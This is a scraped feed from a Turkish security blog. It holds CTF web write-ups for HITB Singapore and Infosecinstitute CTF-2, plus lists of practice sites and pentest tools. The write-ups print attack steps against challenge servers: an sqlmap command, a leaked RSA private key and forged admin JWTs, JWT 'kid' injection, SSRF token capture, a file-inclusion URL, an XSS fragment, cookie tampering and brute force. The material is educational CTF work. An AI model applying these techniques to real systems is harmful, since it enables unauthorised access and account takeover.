ctf arşivleri • CanYouPwnMe! - For Cyber Security Researchers https://canyoupwn.me cypm! Sat, 22 Jun 2019 21:47:31 +0000 tr hourly 1 https://wordpress.org/?v=6.0 https://canyoupwn.me/wp-content/uploads/2016/02/cropped-Başlıksız-1-32x32.png ctf arşivleri • CanYouPwnMe! - For Cyber Security Researchers https://canyoupwn.me 32 32 TR | HITB CTF Singapore Web Writeup https://canyoupwn.me/tr-hitb-ctf-singapore-web-writeup/ https://canyoupwn.me/tr-hitb-ctf-singapore-web-writeup/#respond Sat, 26 Aug 2017 01:21:34 +0000 https://canyoupwn.me/?p=7197 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Öncelikle ctf hakkında söylenecek en önemli nokta mükemmeliyetiydi. Zamanla değişen soru puanlaması, soruların kalitesi, ctf bitimine yakın writeup eklemek için buton çıkması gibi gibi onlarca ince detay vardı. Soruları çözerken gerçekten zorlandım. Öyle ki 1 günde zar zor 2 web sorusu çözebildim. 3.’yü tam bitiremedim. Diğer kategorilerdeki çözdüklerimi genel itibariyle aynı mantıkları içerdiği için paylaşmıyorum. […]

TR | HITB CTF Singapore Web Writeup Berk İMRAN

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Öncelikle ctf hakkında söylenecek en önemli nokta mükemmeliyetiydi. Zamanla değişen soru puanlaması, soruların kalitesi, ctf bitimine yakın writeup eklemek için buton çıkması gibi gibi onlarca ince detay vardı. Soruları çözerken gerçekten zorlandım. Öyle ki 1 günde zar zor 2 web sorusu çözebildim. 3.’yü tam bitiremedim. Diğer kategorilerdeki çözdüklerimi genel itibariyle aynı mantıkları içerdiği için paylaşmıyorum.

Pasty

Genel itibariyle site bu şekilde idi. İlk yaptığım “‘” (tırnak işareti) kullanarak giriş yapmaktı. Daha önceden bu şekilde birisi kaydolduğu için onun hesabıyla giriş yapmışım. O yorgunlukla sqli var diye sqlmap -u http://47.74.147.52:20012/ –data=”username=a&password=b” -p username –dbs –random-agent komutunu denedim ama tabii ki yok. Giriş yapınca template injection’dan xss’e kadar her yolu denedim, nafile. Olmazsa olmazımız Burp Suite ile istekleri inceledim.

Auth kısmı dikkatimi çekti ve tarayıcıda çalışan js’leri debug ederken JSON Web Token olabileceğini düşündüm.

{if(null!==this.token)return{headers:{Authorization:"Bearer "+this.token}}}}]),l(t,[{key:"configure",value:function(t){this.api=s.a.create({baseURL:t})}}

Json Web Token 3 parça halinde, (header, payload, imza) base64 encode şeklinde saklandığı için ilk işim base64 decode oldu.

Public Key

-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDdlatRjRjogo3WojgGHFHYLugdUWAY9iR3fy4arWNA1KoS8kVw33cJibXr8bvwUAUparCwlvdbH6dvEOfou0/gCFQsHUfQrSDv+MuSUMAe8jzKE4qW+jK+xQU9a03GUnKHkkle+Q0pX/g6jXZ7r1/xAK5Do2kQ+X5xK9cipRgEKwIDAQAB
-----END PUBLIC KEY-----

Private Key

MIICWwIBAAKBgQDdlatRjRjogo3WojgGHFHYLugdUWAY9iR3fy4arWNA1KoS8kVw33cJibXr8bvwUAUparCwlvdbH6dvEOfou0/gCFQsHUfQrSDv+MuSUMAe8jzKE4qW+jK+xQU9a03GUnKHkkle+Q0pX/g6jXZ7r1/xAK5Do2kQ+X5xK9cipRgEKwIDAQABAoGAD+onAtVye4ic7VR7V50DF9bOnwRwNXrARcDhq9LWNRrRGElESYYTQ6EbatXS3MCyjjX2eMhu/aF5YhXBwkppwxg+EOmXeh+MzL7Zh284OuPbkglAaGhV9bb6/5CpuGb1esyPbYW+Ty2PC0GSZfIXkXs76jXAu9TOBvD0ybc2YlkCQQDywg2R/7t3Q2OE2+yo382CLJdrlSLVROWKwb4tb2PjhY4XAwV8d1vy0RenxTB+K5Mu57uVSTHtrMK0GAtFr833AkEA6avx20OHo61Yela/4k5kQDtjEf1N0LfI+BcWZtxsS3jDM3i1Hp0KSu5rsCPb8acJo5RO26gGVrfAsDcIXKC+bQJAZZ2XIpsitLyPpuiMOvBbzPavd4gY6Z8KWrfYzJoI/Q9FuBo6rKwl4BFoToD7WIUS+hpkagwWiz+6zLoX1dbOZwJACmH5fSSjAkLRi54PKJ8TFUeOP15h9sQzydI8zJU+upvDEKZsZc/UhT/SySDOxQ4G/523Y0sz/OZtSWcol/UMgQJALesy++GdvoIDLfJX5GBQpuFgFenRiRDabxrE9MNUZ2aPFaFp+DyAe+b4nDwuJaW2LURbr8AEZga7oQj0uYxcYw==

Tabii ki ilk yaptığım kullanıcıyı admin olarak değiştirmekti.

Son hali;

eyJraWQiOiJrZXlzLzNjM2MyZWExYzNmMTEzZjY0OWRjOTM4OWRkNzFiODUxIiwidHlwIjoiSldUIiwiYWxnIjoiUlMyNTYifQ.eyJzdWIiOiJhZG1pbiJ9.fX8bB0nZW5FT_0bmg5pu0KReR6EYYsuZnDPWIWtxifyCqd8QAupT_xArcEPpnJjlVsOzvBNw6E1rOjVK19gLEiPX8IEmw-jClvpgt3RcxBUJiE5p9JqezDcBnTMIJEA0VMc3ZEZD3PmbV9N2i1aQS0KVpn8fbgFxNqSlU_9IfyI

Giriş yaptım ama sol menüde gizli mesajı beklerken hayal kırıklığı oldu. Şimdi olay gizli mesajı bulmakta. Yine giden istekleri kontrol ederken aşağıdaki istek dikkatimi çekti.

POST /api/paste HTTP/1.1
Host: 47.74.147.52:20012
User-Agent: "><script>alert(1)<(script> (XSS PAYLOAD KALMIŞ :) )
Accept: application/json, text/plain, */*
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Referer: http://47.74.147.52:20012/
Content-Type: application/json;charset=utf-8
Authorization: Bearer eyJraWQiOiJrZXlzLzNjM2MyZWExYzNmMTEzZjY0OWRjOTM4OWRkNzFiODUxIiwidHlwIjoiSldUIiwiYWxnIjoiUlMyNTYifQ.eyJzdWIiOiJqdXJhIn0.uPlGrDAjv8B38WLSPo8ck6v2K-wR0L0m0LCDhUqN_MJGi6pXMpwek9lMZ-Z8UIHlTHA2qFGbLShstmeIlLoqHdCX_bSFV3I8JdhhiRrhwX1qmGbvt9EqD3mSwx9-Ut-QtkJXcAjSWZdGVEe75hodRIF-O2-VVci-6SFfwMoyn1lpsXXPHYFO1ekkRg3UJO4RjN_4oDg9C2fiyBxl3dwz84_owqUZnp5x8_im0ArpNo1MgDCiLNGLb18qD4EJ72PnXvUmt7brokQVOwxjC4mc_xKhbsLBj61bjkrZZPTR1Op0aBSEhj8Hm06l8mkiQ9kQRje82oe85dSwX-EKy274dQ
Content-Length: 316
DNT: 1
Connection: close

Yazdığınız notu kaydederken ve görüntülerken giden istek bu. Gizli mesajı görüntüleyeceksek ve auth bilgisi de bu istekteyse tam aradığımız nokta burası. İsteği repeater’a gönderiyorum.

Deneme yanılmalarla token header bilgisini aşağıdaki şekilde yaptığımda gizli mesaj gelmiş oldu.

{
  "kid": "api/paste/{not-adresiniz}&",
  "typ": "JWT",
  "alg": "RS256"
}

Bu saatten sonra benim aklım hinliğe cinliğe çalıştığı için aşağıdaki gibi bir istek gönderdim.

POST /api/paste HTTP/1.1
Host: 47.74.147.52:20012
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: application/json, text/plain, */*
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Referer: http://47.74.147.52:20012/
Content-Type: application/json;charset=utf-8
Authorization: Bearer eyJraWQiOiJhcGkvcGFzdGUvMzA4NzYxZTctNDE0Ny00ODY4LWI5N2QtMzA5ZDBjOTQ3ODVjP3JhdyYiLCJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJhZG1pbiJ9.xRscec3NjrrmA8KuvDNo30utU0d5sNxcdtNJmbQOvB4y_Ui9er0rPdiZzpfaldZvWoFiOa3HTslR4RUDYjr_MJdix9WGeClwb8F_zbE_VSwOT3vMAllN7AzhjhfSU_mPJrcHAN9XkM_90I-DTns4M1k_doDPdXRaMRV55c2KhEM
Content-Length: 113
DNT: 1
Connection: close

{"title":"Pasty McPasteface","id":"27bd4411-6433-4503-a76b-1ba5c28764ac","content":"nahsanaflag","private":false}

Normalde gizli olan belgeyi görünür hale getirdim.

Böyle bir ctf ekibi bunu nasıl düşünmemiş ona da hayret. Benden sonra flag arayanlar kusura bakmasın 🙂

Website

Twit üstünde pentester olan arkadaşları bu soruda görmek isterdim.

Klasik bir panele kayıt olup giriş yapınca bu şekilde bir ekran karşıladı. Personel web sitesine bağlantı sağlıyordu. Haliyle ilk akla gelen SSRF.

Önce 80 portuna istek yaptırdım ama DigitalOcean botları sağolsun bıktırdılar, 91 portuna çektim istekleri. Yanlışıkla tcpdump port 80 yerine tcpdump yazınca lanet olsun o ssh’a saldıran botlara 🙂

91 portuna normal bir istek yaptırdım ve get flag dedim, admin değilsin demekle kalmadı az önce benim yaptığım gibi “nahsanaflag” dedi 🙂

Gelen istek;

Paket içeriğine bakmadım, belki detay bulundurabilirdi.

Şimdi yapılan istekleri inceleyelim.

POST /loged.php HTTP/1.1
Host: 47.88.218.105:20010
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Referer: http://47.88.218.105:20010/loged.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 82
Cookie: PHPSESSID=g3ug2053sm4jl84je2u2h7b0o5; username=PwqgZt9x%2FYQsLvgpdqTjow%3D%3D
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

website=ttp%3A%2F%2F104.131.78.152%3A91&csrftoken=110018b7fcd9f4a5324b2a7833cfc590
GET /action.php?callback=getInfo HTTP/1.1
Host: 47.88.218.105:20010
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: */*
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Referer: http://47.88.218.105:20010/loged.php
Cookie: PHPSESSID=g3ug2053sm4jl84je2u2h7b0o5; username=PwqgZt9x%2FYQsLvgpdqTjow%3D%3D
DNT: 1
Connection: close

GET /getflag.php?csrftoken=77cadb0a165dee9f1023ba056c63ccd5 HTTP/1.1
Host: 47.88.218.105:20010
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: */*
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Referer: http://47.88.218.105:20010/loged.php
X-Requested-With: XMLHttpRequest
Cookie: PHPSESSID=g3ug2053sm4jl84je2u2h7b0o5; username=PwqgZt9x%2FYQsLvgpdqTjow%3D%3D
DNT: 1
Connection: close

Tahmin de ettiğiniz üzere flag bilgisini çekerken token üzerinden doğrulama yapmakta.

Şimdi akılda bir soru var o doğru token nasıl elde edilecek?

Cevap action.php’de. Buradaki zafiyetli makinanın çözümünde kullandığıma benzer bir yöntem kullandım. SSRF mantığı aslında budur. Siz istek yaptırırsınız ve doğrulama bilgisini alırsınız. Bu bir csrf token olabilir, 2fa yöntemlerinde kullanılan bilgiler olabilir, listeyi uzatmak elbet tabii mümkün.

Saatler sonunda http://47.88.218.105:20010/getflag.php?csrftoken= isteğini yapacak kodu halledince base64 olarak aldım.

BLOG

Kaynak koda bakalım.

<script>
  var authors = [];
  var blogs = {};

  query = function(q, callback)
  {
    var req = new XMLHttpRequest();
    req.onreadystatechange = function() {
      if (this.readyState == 4 && this.status == 200) {
         callback.apply(req);
      }
    };
  req.open("POST", "/api", true);
  req.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
  req.send('query=' + q);
};

  get_all_authors = function()
  {
    var q = "{  allAuthors{ edges { node { id name }}} }";
    query(q, function(){
      var response = JSON.parse(this.responseText);
      authors = [];
      var nodes = response["data"]["allAuthors"]["edges"];
      for (i=0; i < nodes.length; i++)
      {
        authors.push(nodes[i]["node"]);
      }
      rebuild_authors();
    });
  };

  rebuild_authors = function()
  {
    var html = "<ul>\n";
    for (i=0; i < authors.length; i++)
    {
      html += ( "<li><a onclick='get_author_blogs(\"" + authors[i]["id"] + "\")'>" + authors[i]["name"] + "</a></li>\n" );
    }
    html += "<li><a onclick='get_all_blogs()'>All authors</a></li>\n";
    html += "</ul";
    document.getElementById("authorlist").innerHTML = html;
  };

  get_all_blogs = function()
  {
    var q = "{  allItems{ edges { node { id title }}} }";
    query(q, function(){
      var response = JSON.parse(this.responseText);
      blogs = [];
      var nodes = response["data"]["allItems"]["edges"];
      for (i=0; i < nodes.length; i++)
      {
        blogs.push( nodes[i]["node"]);
      }
      rebuild_blogs();
    });
  };

  get_author_blogs = function(author)
  {
    var q = '{  itemsForAuthor(id:"' + author + '") { id title } }';
    query(q, function(){
      var response = JSON.parse(this.responseText);
      blogs = response["data"]["itemsForAuthor"];
      rebuild_blogs();
    });
  };

  rebuild_blogs = function()
  {
    var html = "<ul>\n";
    for (i=0; i < blogs.length; i++)
    {
      html += ( "<li><a onclick='load_blog(\"" + blogs[i]["id"] + "\")'>" + blogs[i]["title"] + "</a></li>\n" );
    }
    html += "</ul";
    document.getElementById("bloglist").innerHTML = html;
  };

  load_blog = function(blog)
  {
    var q = '{  item(id:"' + blog + '") { title content} }';
    query(q, function(){
      var response = JSON.parse(this.responseText);
      blog = response["data"]["item"];
      document.getElementById("blog_title").innerText = blog["title"];
      document.getElementById("blog_content").innerHTML = blog["content"];
      height = document.getElementById("blog_content").clientHeight
      console.log("height " + height)
      document.getElementById('container').style.height = (height + 200) + "px"
    });
  };
  </script>

Bu kodları inceleyene kadar GraphQL hakkında en ufak bilgim yoktu. http://47.74.147.34:20011/api?query={ item(id:”‘ + blog + ‘”) { title content} } ile örnek bir sorgu yaptım. Araştırmaya başlayınca NoSQL injection olabileceğini farkettim. Ama GraphQL için nasıl uyarlanır hala bilmiyorum (geliştirici olmadan bu işlerin olmayacağına örnek). Mantığın oturması adına güzel yazılar var.

Çözemediğim ama yakında çözeceğim soru 🙂

 

TR | HITB CTF Singapore Web Writeup Berk İMRAN

]]>
https://canyoupwn.me/tr-hitb-ctf-singapore-web-writeup/feed/ 0
EN | CTF Lists https://canyoupwn.me/en-ctf-lists/ https://canyoupwn.me/en-ctf-lists/#respond Thu, 19 May 2016 21:14:41 +0000 https://canyoupwn.me/?p=2360 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Online Games Recommended ctf.canyoupwn.me pwnable.kr picoctf.com microcorruption.com/login reversing.kr hax.tor.hu w3challs.com pwn0.com smashthestack.org ringzer0team.com hellboundhackers.org overthewire.org/wargames counterhack.net/Counter_Hack/Challenges.html hackthissite.org vulnhub.com ctftime.org dareyourmind.net   Others hackthecause.info bright-shadows.net mod-x.co.uk/main.php scanme.nmap.org hackertest.net net-force.nl securityoverride.org   Meta wechall.net/sites.php ctf.forgottensec.com/wiki repo.shell-storm.org/CTF   Webapp Specific demo.testfire.net wocares.com/xsstester.php crackme.cenzic.com test.acunetix.com zero.webappsecurity.com   Forensics Specific computer-forensics.sans.org/community/challenges forensicscontest.com   Recruiting praetorian.com/challenges/pwnable rtncyberjobs.com 0x41414141.com   Paid Training […]

EN | CTF Lists Mustafa Kaan Demirhan

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Online Games

Recommended

  • ctf.canyoupwn.me
  • pwnable.kr
  • picoctf.com
  • microcorruption.com/login
  • reversing.kr
  • hax.tor.hu
  • w3challs.com
  • pwn0.com
  • smashthestack.org
  • ringzer0team.com
  • hellboundhackers.org
  • overthewire.org/wargames
  • counterhack.net/Counter_Hack/Challenges.html
  • hackthissite.org
  • vulnhub.com
  • ctftime.org
  • dareyourmind.net

 

Others

  • hackthecause.info
  • bright-shadows.net
  • mod-x.co.uk/main.php
  • scanme.nmap.org
  • hackertest.net
  • net-force.nl
  • securityoverride.org

 

Meta

  • wechall.net/sites.php
  • ctf.forgottensec.com/wiki
  • repo.shell-storm.org/CTF

 

Webapp Specific

  • demo.testfire.net
  • wocares.com/xsstester.php
  • crackme.cenzic.com
  • test.acunetix.com
  • zero.webappsecurity.com

 

Forensics Specific

  • computer-forensics.sans.org/community/challenges
  • forensicscontest.com

 

Recruiting

  • praetorian.com/challenges/pwnable
  • rtncyberjobs.com
  • 0x41414141.com

 

Paid Training

  • heorot.net

 

Downloadable Offline Games

  • badstore.net
  • owasp.org/index.php/Category:OWASP_WebGoat_Project
  • owasp.org/index.php/Owasp_SiteGenerator
  • Damn Vulnerable Web App
  • Stanford SecureBench
  • Stanford SecureBench Micro
  • irongeek.com/i.php?page=security/mutillidae-deliberately-vulnerable-php-owasp-top-10

 

Virtual Machines

EN | CTF Lists Mustafa Kaan Demirhan

]]>
https://canyoupwn.me/en-ctf-lists/feed/ 0
TR | Awesome Learn Pentesting https://canyoupwn.me/tr-awesome-penetration-testing/ https://canyoupwn.me/tr-awesome-penetration-testing/#respond Wed, 09 Mar 2016 07:00:59 +0000 https://canyoupwn.me/?p=709 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Online Kaynaklar: Sızma Testi Kaynakları Metasploit Unleashed – Ücretsiz Metasploit Kursları PTES – Sızma Testi Standartları OWASP – Web Uygulama Güvenliği Projesi   Shellcode Geliştirme Shellcode Örnekleri – Shellcode Veritabanı   Sosyal Mühendislik Kaynakları Kilit Kırma Kaynakları Schuyler Towne Youtube Channel – Kilit Kırma Teknikleri Reddit Lockpicking – Kilit Kırma Teknikleri ve Araç Önerileri   Araçlar Sızma Testi Dağıtımları Kali BlackArch […]

TR | Awesome Learn Pentesting Mustafa Kaan Demirhan

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Online Kaynaklar:

Sızma Testi Kaynakları

 

Shellcode Geliştirme

 

Sosyal Mühendislik Kaynakları

Kilit Kırma Kaynakları

Schuyler Towne Youtube Channel – Kilit Kırma Teknikleri

Reddit Lockpicking – Kilit Kırma Teknikleri ve Araç Önerileri

 

Araçlar

Sızma Testi Dağıtımları

 

Basit Sızma Testi Araçları

 

Zafiyet Tarama Araçları

  • Netsparker – Web Uygulama Güvenliği Tarama Aracı
  • Nexpose – Zafiyet/Risk Yönetimi Aracı
  • Nessus – Zafiyet Yapılandırma, Denetleme Aracı
  • OpenVAS -Açık Kaynaklı Zafiyet Tarama Aracı
  • OWASP Zed Attack Proxy – Web Uygulama Zafiyet Tarama Aracı
  • Secapps – Entegre Web Uygulama Güvenliği Test Ortamı
  • w3af – Web Uygulama Saldırı Aracı
  • Wapiti – Web Uygulama Zafiyet Tarama Aracı
  • Webreaver – Web Uygulama Zafiyet Tarama Aracı

 

Ağ Araçları

  • nmap – Ağ Haritası Çıkarmak, Çalışan Hizmetleri…vb. Bilgileri Elde Etmemize Yardımcı Olur
  • tcpdump – Paket Analizi Yapmamıza Yardımcı Olur
  • Wireshark – Ağ Protokol Analiz Aracı
  • Network Tools – Yaygın Olarak Kullanılan Ağ Araçları
  • netsniff-ng – Ağ Dinleme Aracı
  • SPARTA – Ağ Protokol Analiz Aracı

 

Kablosuz Ağ Araçları

  • Aircrack-ng – Kablosuz Ağ Trafiği Dinleme Aracı
  • KISMET – Kablosuz Ağ Dinleme Aracı
  • Reaver – Kaba Kuvvet Saldırı Aracı

 

SSL Analiz Araçları

  • SSLyze – SSL YapılandırmasI Tarama Aracı
  • sslstrip – https Saldırı Aracı

 

HEX Düzenleme

  • Hexed – Tarayıcı Tabanlı Hex Analiz Aracı

 

Kırma Araçları

 

Windows Araçları

 

DDoS Araçları

 

Sosyal Mühendislik Araçları

  • SET – Sosyal Mühendislik Araç Kiti

 

OSInt Araçları

  • Maltego – Aktif ve Pasif Bilgi Toplama Aracı

 

Gizlilik Araçları

  • Tor – Onion Yönlendirme İle Ağda Kimliğinizi Gizlemeye Yarar
  • I2P – The Invisible Internet Project

 

Tersine Mühendislik Araçları

 

Kitaplar

Sızma Testi Kitapları

 

Hacker ın El Kitabı Serisi

 

Ağ Analiz Kitapları

 

Tersine Mühendislik Kitapları

Zararlı Analiz Kitapları

Windows Kitapları

Sosyal Mühendislik Kitapları

Kilit Kırma Kitapları

 

Zafiyet Veritabanları

 

Güvenlik Kursları

 

Ctf Kütüphaneleri

 

Bilgi Güvenliği Konferansları

 

En Yaygın 125 Ağ Güvenliği Aracı

 

 

TR | Awesome Learn Pentesting Mustafa Kaan Demirhan

]]>
https://canyoupwn.me/tr-awesome-penetration-testing/feed/ 0
TR | Infosecinstitute CTF – 2 Write Up https://canyoupwn.me/tr-infosecinstitute-ctf-2-write-up/ https://canyoupwn.me/tr-infosecinstitute-ctf-2-write-up/#comments Sun, 31 Jan 2016 18:46:00 +0000 http://canyoupwn.me/?p=57 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Selamlar. İlk yazımı web üzerine beginner seviyenin biraz üzerinde bir online ctfin çözümlerini yaparak yazmak istedim. Öncelikle CTFe buraya tıklayarak ulaşabilirsiniz. En solda üst kısımda bir ‘Levels’ kısmı var. Oradan levelleri seçerek ilerlememiz gerekiyor. Level 1 – Vulnerability: A3 Cross-Site Scripting (XSS) İlk challengeda bizi aşağıdaki gibi bir sayfa karşılıyor olacak. Sitename ve Siteurl kısımlarını […]

TR | Infosecinstitute CTF – 2 Write Up CanYouPwnMe

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Selamlar.

İlk yazımı web üzerine beginner seviyenin biraz üzerinde bir online ctfin çözümlerini yaparak yazmak istedim.

Öncelikle CTFe buraya tıklayarak ulaşabilirsiniz.

En solda üst kısımda bir ‘Levels’ kısmı var. Oradan levelleri seçerek ilerlememiz gerekiyor.

Level 1 – Vulnerability: A3 Cross-Site Scripting (XSS)

İlk challengeda bizi aşağıdaki gibi bir sayfa karşılıyor olacak.

1

Sitename ve Siteurl kısımlarını ‘Öğeyi Denetle’ seçeneği ile biraz incelediğimizde ‘pattern=”[A-Za-z]+”‘ isimli kısmı görüyoruz ve ‘pattern=”*”‘ şekline getirerek sadece a-z arası karakterleri değil, tüm karakterleri ( /, ‘, vs) yazabilmeyi sağlıyoruz.

Ardından, Mozilla tarayıcımızda FireBug isimli eklentiyi yine Sitename ve Siteurl kısımlarını incelemek üzere kullanıyoruz ve dikkatimizi ext1.js dosyası dikkatimizi çekiyor. Firebug ile onu incelemeye devam ettiğimizde ise aşağıdaki gibi bir çıktıyla karşılaşıyoruz:

2

Burada aslında yapılan şey bir değiştirme olayı < > karakterlerini değiştiriyor eğer bu karakterleri girersek input alanlarına. Bunu aşmak için, bu kısmı aşağıdaki gibi editliyor ve kaydediyoruz.

3

Ardından, alanlara XSS payloadlarımızdan birisini yazarak alerti alıp leveli tamamlıyoruz.

 

Level 2 – Vulnerability: A1 Injection

Bu kısımda ise bizi bir hesap makinesi karşılıyor olacak.

4

 

Burada ben ‘Get a Hint’ kısmını spamleyerek tüm hintleri almayı tercih ettim. 😀

İlk ipucunda bir eval kısmını bypass etmemiz gerektiğini söylüyor.

İkinci ipucunda boşlukların ikisininde rakamlarla doldurulması gerektiğini bize şimdi neyi değiştireceğimizi soruyor.

Üçüncü ve son ipucunda ise phpinfo() okumamız gerektiğini söylüyor ve bizde burda bir ‘Code Injection’ zaafiyetinin bulunduğunu ve bunu sömürmemiz gerektiğini anlıyoruz. Burada bize en yardımcı olacak araç şüphesiz ki BurpSuite.

BurpSuitei açıyoruz. ‘Proxy’ sekmesinden ‘Intercept On’ olarak ayarlıyoruz. Ardından, herhangi 2 rakamla işlem yapmaya çalışıyoruz ve BurpSuite ile araya girmişken değerleri aşağıdaki gibi ayarlıyoruz ve sayfaya gönderiyoruz.

5

Leveli tamamlayınca şu şekilde bir çıktı alacaksınız:

6

 

Level 3 – Vulnerability: Data Validation; Parameter Delimiter

Bu challengeda ise bizi aşağıdaki gibi bir ekran karşılayacak.

7

İpucu almak istediğimizde ise bize şunu veriyor ‘The delimiter used to separate fields like username and password is just a newline’ yani diyor ki olay şundan ibaret, kullanıcı adı ve şifreleri yeni satırlarmış gibi ayıran bir ayıraç var. Yani bizim kendimizi ‘admin’ rolünde kayıt ettirmek için ‘role’ değişkenini yeni bir satır olarak eklememiz gerek. Bunun için yine canımız ciğerimiz BurpSuite ile araya giriyoruz ve aşağıdaki şekilde manupile edip veriyi gönderiyoruz ardından leveli geçmiş oluyoruz.

8

 

Level 4 – Vulnerability: A4 Insecure Direct Object References

4.levele yöneldiğimizde aşağıdaki gibi bir sayfa ile karşılaşıyor ve okumaya koyuluyoruz.

9

Şimdi yukarıdaki kısımda sayfalarını görüntülemek için .txt uzantılı dosyalar yükleyen bir websitesiyle karşı karşıya olduğumuzu söylüyor. Görevimizi de sitenin ‘root’ kısmındaki bir PHP dosyasını hata almadan oraya injecte etmemizi istemiş.

URL’i şu şekle getirip leveli geçiyoruz:

http://ctf.infosecinstitute.com/ctf2/exercises/ex4.php?file=HTTP://infosecinstitute.com/dosya.txt.php

 

Level 5 – Vulnerability: A7 Missing Function Level Access Control 

Bizi şu şekilde bir sayfa karşılayacak.

10

İpucu olarak da HTTP Headerlar ile oynamamız gerektiğini söylüyor. Yukarıda bu sayfayı görmek için lütfen giriş yapın diyor. Oradaki loginin buton tarzında konulmuş olmasının bir sebebi olacağını düşünüp biraz ‘Ögeyi Denetle’ ile kurcaladım. Ve aşağıdaki /login.html sayfası olduğunu gösteren kısmı yakaladım.

11

Ardından bize HTTP Headerlar ile alakalı bir olay olduğunu açıklamıştı. Burada kullanmamız gereken HTTP Headeri Refferer. Reffererın ne işe yaradığını küçük bir google araştırması ile görebilirsiniz. Burp ile araya girip veriyi aşağıdaki şekle getiriyor ve leveli geçiyoruz.

12

 

Level 6 – Vulnerability: A8 Cross-Site Request Forgery (CSRF) 

Levela girdiğimizde bizi aşağıdaki gibi bir ekran karşılıyor:

14

CSRF zaafiyetini kullanarak site.com üzerinden bank.php dosyası ile ‘555’i hesabımıza geçirmemiz gerekiyor. Biraz Stored XSS zaafiyetini CSRF’ye çevirme tarzı bir soru olmuş. Aşağıdaki şekle getirip leveli geçiyoruz.

13

 

Level 7 – Vulnerability: A3 Cross-Site Scripting (XSS)

Challenge sayfasında bizi böyle bir ekran karşılayacak.

15

İpuçlarını aldığımıza ise, PHP_Self bugu olduğunu bildiriyor. Burada yapmamız gereken şey çok basit. URL kısmını aşağıdaki şekle getirdiğimizde leveli tamamlamış oluyoruz.

16

 

Level 8 – Vulnerability: File inclusion

Aşağıdaki gibi bir ekran challenge sayfasında bizi bekliyor olacak:

17

Bu level gerçekten çok fazla zamanımı aldı. Çok basit bir çözümü olduğunu görünce ekranı kırasım dahi geldi.

Bir txt dosyasının içine xss payloadı yazıp .jpeg olarak kaydediyoruz.

Ardından, dosyamıza şu şekilde ulaşıyor ve leveli geçiyoruz:

http://ctf.infosecinstitute.com/ctf2/exercises/ex8.php?file=dosyamız

 

 

Level 9 – Vulnerability: A2 Broken Authentication and Session Management

Challenge kısmı şu şekilde bizi karşılayacak:

19

John Doe olarak giriş yaptığımızı, Mary Jane olarak girmemiz gerektiğini söylüyor. Burada yine Burp ile araya giriyor ve sayfayı tekrar yüklüyoruz.

21

Burada işaretlemiş olduğumuz ‘user’ kısmındaki değer Base64 şifrelemesi ile encode edilmiş. Bunu çözdüğümüzde aşağıdaki gibi bir ekranla karşılaşıyoruz.

22

Yapmamız gereken şey ‘MARY+JANE’ değerini Base64 encode hale getirip, Burp ile araya girdikten sonra yine ‘user’ değişkenine eklemek olacak. Bu şekilde leveli tamamlıyoruz.

 

Level 10 – Vulnerability: Source Code Tampering

Beni en çok zorlayan soru buydu. Aşağıdaki gibi bir ekranla karşılaşıyoruz girince:

23

Oradaki sarı kısmı ‘Öğeyi Denetle’me kısmından detaylıca incelediğimizde ‘Hata Ayıklama’ kısmında bir bölüm var o bölümde, puanımızı 9999 yapmamız gerekecek. Gerekli şekilde orayı editliyoruz.

24

Ardından, oyunu başlattıktan sonra gelen renk kısımlarını da yine ‘Öğeyi Denetle’den aynı renk yapıp levelimizi geçiyoruz.

25
Level 11 – Vulnerability: Bypassing blacklists

Bu kısımda bizi biraz daha farklı bir ekran karşıladı. Burada aklıma ilk gelen şey yine HTTP trafiğini dinlemek oldu ve Burp ile araya girip siteyi tekrar açmaya çalıştım.

26

 

Tekrar açmaya çalışırken, Burpte Cookie değerinde ‘welcome=no’ yazısını ‘welcome=yes’ olarak değiştirdim ve devam ettim. Böylece leveli geçmiş bulundum.

27
Level 12 – Vulnerability: Dictionary Attack

Bu level klasik bir brute-force leveli. Bunun üzerinde fazla duracak bir şey yok. BurpSuite ile yine brute-force atak gerçekleştirebilirsiniz.

28

Yapmamız gereken şey ‘admin’ kullanıcı ismine brute force atak yapmak. Şifre olarak ‘princess’ değerini elde edebilirsiniz. Bu şekilde leveli tamamlamış oluyoruz.

29

 

Level 13 – Vulnerability: A10 Unvalidated Redirects and Forwards

Burada bizi karşılayan sayfa aşağıdaki şekilde:

30

İpuçlarından ve yazılardan da anlaşılacağı üzere burada bir ‘Open Redirection’ yani yönlendirme zaafiyeti söz konusu. Bunu URL’i şu şekle getirerek bypass ediyor ve CTF’i tamamlıyoruz:

